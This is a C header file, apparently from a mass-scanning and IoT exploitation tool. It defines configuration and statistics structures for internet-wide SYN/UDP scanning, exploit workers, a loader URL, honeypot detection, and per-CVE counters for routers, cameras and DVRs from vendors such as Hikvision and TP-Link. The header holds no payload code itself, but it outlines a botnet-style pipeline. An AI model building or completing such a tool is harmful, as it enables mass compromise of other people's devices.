-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathconfig.h
More file actions
252 lines (222 loc) · 7.72 KB
/
Copy pathconfig.h
File metadata and controls
252 lines (222 loc) · 7.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
#ifndef CONFIG_H
#define CONFIG_H
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <getopt.h>
#include <sched.h>
/* ─── tuning ─────────────────────────────────────────────────── */
#define DEFAULT_RATE 50000UL /* pps — sane default, use -r to raise */
#define DEFAULT_BANDWIDTH 0ULL /* 0 = unlimited */
#define DEFAULT_COOLDOWN 5
#define MAX_SENDER_THREADS 64
#define MAX_RECEIVER_THREADS 16
#define BATCH_SIZE 256
#define TPACKET_FRAME_SIZE 512
#define TPACKET_BLOCK_SIZE (4096 * 256)
#define TPACKET_BLOCK_NR 64
#define TARGET_QUEUE_SIZE 131072 /* must be power of 2 */
#define HTTP_TIMEOUT_SEC 8
#define TELNET_TIMEOUT_SEC 12
#define MAX_EXPLOIT_WORKERS 512
#define RDBUF_SIZE 8192
#define HTTP_RESP_SIZE 16384
#define DEFAULT_PORTS "23,80,3000,3001,8080,443,8443,81,8081,2323,554,5000,7547,37215"
#define DEFAULT_OUTPUT_TXT "results.txt"
#define DEFAULT_OUTPUT_JSON "results.json"
/* ─── packet buffer ──────────────────────────────────────────── */
#define PKT_MAX 128
typedef struct {
uint8_t buffer[PKT_MAX];
int length;
} packet_t;
/* ─── ip / port ranges ───────────────────────────────────────── */
typedef struct {
uint32_t start; /* host byte order */
uint32_t end;
} ip_range_t;
typedef struct {
uint16_t start;
uint16_t end;
} port_range_t;
/* ─── blackrock ──────────────────────────────────────────────── */
typedef struct {
uint64_t range;
uint64_t seed;
int rounds;
} blackrock_t;
/* ─── target entry ───────────────────────────────────────────── */
typedef struct {
uint32_t ip; /* network byte order */
uint16_t port; /* host byte order */
} target_t;
/* ─── exploit result ─────────────────────────────────────────── */
typedef struct {
char ip_str[16];
char port_str[8];
char device[32];
char cve[32];
char method[64];
char payload[512];
int status_code;
int success;
int verified;
int is_honeypot;
long time_ms;
char response_preview[256];
} exploit_result_t;
/* ─── scanner config ─────────────────────────────────────────── */
typedef struct {
/* interface */
char *interface;
uint32_t src_ip; /* host byte order */
uint8_t src_mac[6];
uint8_t dst_mac[6];
int ifindex;
int gateway_set;
/* targets */
char *target_cidr; /* -t explicit CIDR */
char *whitelist_file;
char *blacklist_file;
int use_global_ranges; /* --global */
int use_br_ranges; /* --br */
/* ports */
char *ports_str;
port_range_t *port_ranges;
int num_port_ranges;
/* rate */
uint64_t rate_limit; /* pps */
uint64_t bandwidth_limit; /* bps */
/* threads */
int senders;
int receivers;
int exploit_workers;
int cooldown_secs;
/* modes */
int scan_only;
int dry_run;
int verbose;
int quiet;
int dump_ips;
/* exploit */
char *loader_url;
char *output_txt;
char *output_json;
/* blackrock (set after ranges known) */
blackrock_t blackrock;
uint64_t total_packets;
int is_multiport;
/* probe (UDP) */
uint8_t *probe_payload;
size_t probe_payload_len;
int scan_method; /* 0=SYN 1=UDP */
int qdisc_bypass; /* 1=enable PACKET_QDISC_BYPASS (default off) */
} scanner_config_t;
#define SCAN_METHOD_SYN 0
#define SCAN_METHOD_UDP 1
/* ─── per-thread context ─────────────────────────────────────── */
typedef struct {
/* work slice */
uint64_t global_start_idx;
uint64_t global_end_idx;
uint64_t current_global_idx;
uint64_t total_packets;
uint64_t total_ips;
ip_range_t *all_ip_ranges;
int total_ip_ranges;
port_range_t *port_ranges;
int num_port_ranges;
} thread_work_t;
/* ─── statistics ─────────────────────────────────────────────── */
typedef struct {
atomic_ullong packets_sent;
atomic_ullong packets_recv;
atomic_ullong ports_open;
atomic_ullong enqueued;
atomic_ullong exploited;
atomic_ullong verified;
atomic_ullong honeypots;
atomic_ullong telnet_found;
/* per-CVE */
atomic_ullong cve_tplink;
atomic_ullong cve_hikvision;
atomic_ullong cve_dlink;
atomic_ullong cve_netgear;
atomic_ullong cve_zyxel;
atomic_ullong cve_realtek;
atomic_ullong cve_cisco;
atomic_ullong cve_goahead;
atomic_ullong cve_mvpower;
atomic_ullong cve_vacron;
atomic_ullong cve_dvr;
atomic_ullong cve_zhone;
atomic_ullong cve_fiber;
atomic_ullong cve_nextjs;
/* meta */
uint64_t total_packets;
double start_time;
} stats_t;
typedef struct {
int thread_id;
scanner_config_t *config;
stats_t *stats;
volatile int running;
int socket_fd;
uint32_t src_ip;
uint16_t src_port;
uint32_t current_state; /* xorshift seed */
struct timeval last_send_time;
uint64_t packets_sent;
struct sockaddr_ll sll;
thread_work_t work;
} thread_context_t;
/* ─── shared globals (defined in main.c) ────────────────────── */
extern volatile int g_stop;
extern stats_t g_stats;
extern scanner_config_t g_config;
/* honeypot bitmap: 1 bit per IP = 512 MiB covers all IPv4 */
extern uint8_t *g_honeypot_bitmap;
extern uint8_t *g_seen_bitmap;
/* ─── inline helpers ─────────────────────────────────────────── */
static inline double now_sec(void) {
struct timeval tv;
gettimeofday(&tv, NULL);
return tv.tv_sec + tv.tv_usec / 1e6;
}
static inline void set_bitmap(uint8_t *bm, uint32_t ip) {
bm[ip >> 3] |= (uint8_t)(1u << (ip & 7u));
}
static inline int test_bitmap(const uint8_t *bm, uint32_t ip) {
return (bm[ip >> 3] >> (ip & 7u)) & 1u;
}
static inline long ms_since(struct timeval *t0) {
struct timeval now;
gettimeofday(&now, NULL);
return (now.tv_sec - t0->tv_sec) * 1000L +
(now.tv_usec - t0->tv_usec) / 1000L;
}
#endif /* CONFIG_H */